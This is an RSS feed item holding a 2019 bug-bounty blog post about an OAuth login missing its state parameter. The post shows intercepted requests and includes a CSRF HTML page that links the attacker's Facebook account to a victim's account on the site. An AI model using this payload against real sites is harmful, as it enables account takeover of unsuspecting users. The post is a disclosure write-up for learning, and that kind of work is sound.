<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jackson kv on Medium]]></title>
        <description><![CDATA[Stories by Jackson kv on Medium]]></description>
        <link>https://medium.com/@Jacksonkv22?source=rss-d504449ad6d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*Z5ARh9hefsQUsUf-7xyAEw.jpeg</url>
            <title>Stories by Jackson kv on Medium</title>
            <link>https://medium.com/@Jacksonkv22?source=rss-d504449ad6d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 13:04:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Jacksonkv22/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Oauth misconfiguration lead to complete account takeover]]></title>
            <link>https://medium.com/@Jacksonkv22/oauth-misconfiguration-lead-to-complete-account-takeover-c8e4e89a96a?source=rss-d504449ad6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c8e4e89a96a</guid>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Jackson kv]]></dc:creator>
            <pubDate>Sun, 20 Jan 2019 02:44:36 GMT</pubDate>
            <atom:updated>2019-01-20T02:44:36.236Z</atom:updated>
            <content:encoded><![CDATA[<h3>Oauth Misconfiguration lead to complete account takeover</h3><p>Hello guys….</p><p>Its me Jackson. this is my first blog based on security vulnerability that identified during the exam study leave.. 😆. First of all thanks to Midhun S for giving this wonderful site for testing and supports.</p><p>So Let’s start hunting…..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*dQiZlONkRNHwGbxCjQiSkQ.png" /></figure><h3><strong>RECON</strong></h3><p>When i started bug bounty i don’t really spend much time on Reconnaissance but later i realized the importance of reconnaissance. I got a thorough understanding and behavior of Webapps through Reconnaissance and some low hanging bugs😊😊. When I got a target, I always start with a simple Google Search and identify the information like <em>what kind of company</em> and <em>what technologies are being used</em>, these kind of information will gives a slight idea about the companies we are dealing with. Now start the Reconnaissance using some tools. Let’s start with <em>aquatone -subdomain</em> enumeration tool, so after running that tool I got some sub-domains,ran some tools like <em>Lazyrecon</em>, <em>eyewitness</em>, <em>nmap</em>, <em>dirsearch</em>, <em>Advanced google dorks</em>, <em>wappalyzer</em> ,some scripts and tools… 😉 so now we got a target website.</p><h3>How I got this Vulnerability</h3><p>Sorry guys i can’t disclose the name of the company , so we can call it as redacted.com. Let’s look at the website <a href="https://www.redacted.com/">https://www.redacted.com</a>, so the website looks like a normal site,nothing interesting in homepage so I go to the Signup page and got a page like shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*uEBw48uDUB01QYWBNLSgyA.png" /></figure><p>I created an account using my temporary mail and completed the email confirmation and logged into my account. There will be an option for linking the radacted.com account to Facebook or Google.This will make it easy to login into the redacted account by using Oauth functionality.</p><p>What is Oauth….:???</p><p>Oauth :- OAuth stands for Open Authorization Framework and is the industry-standard delegation protocol for authorization. OAuth 2.0 is widely used by applications (e.g. SaaS platforms) to access your data that is already on the Internet. That includes for example your contacts list on Google, your friends list on Facebook, etc. If you were ever asked by web or mobile application to give permissions to access your personal data, you have probably used OAuth 2.0.</p><p>When I saw this option i just open Burpsuite and clicked the Facebook icon for linking my account to Facebook and intercept the request and response.</p><p>So the first request will be like this :</p><blockquote>GET /v3.1/dialog/oauth?response_type=code&amp;redirect_uri=https%3A%2F%2Fredacted.com%2Fauth%2Ffacebook%2Fcallback&amp;scope=email%2Cpublic_profile&amp;client_id=00000000000 HTTP/1.1<br>Host: www.facebook.com<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Referer: https://redacted.com/profile<br>Cookie: fr=0rqajcCy4gEh2nJvS.redactedPv2OYVcelE.AWVp7-tG; sb=OQwFXNTRCDFUcookieLIw0; datr=OQwFXBW2scookieSe4q; wd=1366XXXXX657; locale=en_GB; c_u<br>Connection: close</blockquote><p>when I saw this request I felt something interesting here because there is no state parameter, which means some time it may be vulnerable to <em>csrf </em>attack. Now there will be a Facebook page popup for authentication. I was successfully authenticated to Facebook, then i intercept the callback from Facebook….when i saw the callback, i wondered…there is no state parameter which means there is no protection from a csrf attack, so let’s exploit that.</p><blockquote>GET /auth/facebook/callback?code=AQCXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX HTTP/1.1<br>Host: redacted.com<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Referer: <a href="https://www.facebook.com/">https://www.facebook.com</a><br>Cookie: __cfduid=d27690xxxxxxxxxxxxxxxxxxxxxxxxxxx471; __adroll_fpc=074645xxxxxxxxxxxxxxxxxxxxxxxx2e9; __ar_v4=JYUExxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxf-cb8d-4c87–9bc1–8478a3f6ed68=session_a0xxxxxxxxxxxxxxxxxxb9e6; _fbp=fb.1.154xxxxxxxxx719436<br>Connection: close</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*QZl5bLZTz9uR2aRdlZCIGg.jpeg" /></figure><p>When I saw this callback,I just made a csrf html page called attack.html.</p><blockquote>&lt;html&gt;<br> &lt;body&gt;<br> &lt;script&gt;history.pushState(‘’, ‘’, ‘/’)&lt;/script&gt;<br> &lt;form action=”<a href="https://changelly.com/auth/facebook/callback">https://redacted.com/auth/facebook/callback</a>&quot;&gt;<br> &lt;input type=”hidden” name=”code” value=”AxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxY” /&gt;<br> &lt;input type=”submit” value=”Submit request” /&gt;<br> &lt;/form&gt;<br> &lt;/body&gt;<br>&lt;/html&gt;</blockquote><p>Now we can test this vulnerability on a victim account, I created another redacted.com test account. After that logged into that account on an another browser and went to the settings page, there is an option for the linking the Facebook account. Now i just open the the html page on a new tab and clicked the submit button….Yes!…I got it….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/275/1*aUYKwmz2taFq-RN7e7sS4Q.jpeg" /></figure><p>My Facebook account is successfully linked with the victim redacted account 😍😍…..for cross checking, i logged out from the victim redacted.com account and tried to login with my Facebook account on redacted.com….Yeah…. 😃😃its successfully logged in with my Facebook account…so i can takeover any victim account….its a simple Oauth Misconfiguration lead to full account takeover.</p><p>Unfortunately it’s already reported by another security researcher. But I can learn new things from this vulnerability… 😍😍</p><p>Thanks for Reading</p><p>You can reach me on : <a href="https://www.facebook.com/jackson.kv.5">Facebook</a> and <a href="https://twitter.com/Jacksonkv22">twitter</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c8e4e89a96a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>